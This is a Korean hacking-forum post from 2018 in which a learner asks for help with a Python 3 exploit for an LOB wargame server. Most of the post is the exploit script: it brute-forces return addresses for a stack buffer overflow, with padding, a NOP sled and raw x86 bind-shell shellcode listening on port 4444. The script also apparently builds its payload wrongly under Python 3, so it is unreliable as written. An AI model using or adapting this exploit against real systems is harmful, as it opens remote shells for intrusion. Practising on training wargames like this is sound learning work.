|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=36205 [복사]
진짜 혼자서 어떻게든 해결해보려했는데 도저히 모르겠네요.
물어볼 곳이 없어서ㅜㅜ 여기서라도 물어봅니다.
아래는 작성한 파이썬3 코드입니다. 코드 돌리고,
$ telnet LOB서버주소 4444 하는데 자꾸 connection refused 뜨네요
왜그런건지 모르겠어요. 쉘코드가 문제인건지.. 답답합니다
import socket
import struct
# Little Endian 방식으로 변환하는 함수 p32(x)
p32 = lambda x: struct.pack('<I', x)
# Bind shellcode
shellcode = ""
shellcode += "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68"
shellcode += "\x11\x5c" # port number 4444
shellcode += "\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56"
shellcode += "\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f"
shellcode += "\xcd\x80\xfe\xc9\x79\xf8\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
shellcode += "\x89\xe1\xcd\x80"
for i in range(0xbfffffff, 0xbfff0000, -48): # NOP Sled가 있기 때문에 -1씩 감소하지 않아도 된다
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IPv4, TCP/IP 프로토콜 사용
client_socket.connect(('LOB서버주소', 6666)) # LOB 서버의 6666 포트로 연결
print("Trying to RET_addr : {}".format(hex(i)))
payload = "A"*44 + str(p32(i)) +"\x90"*100 + shellcode
payload = payload.encode()
client_socket.send(payload)
client_socket.close() |
Hit : 8343 Date : 2018/05/30 05:02
|
22018, 
1/1101 
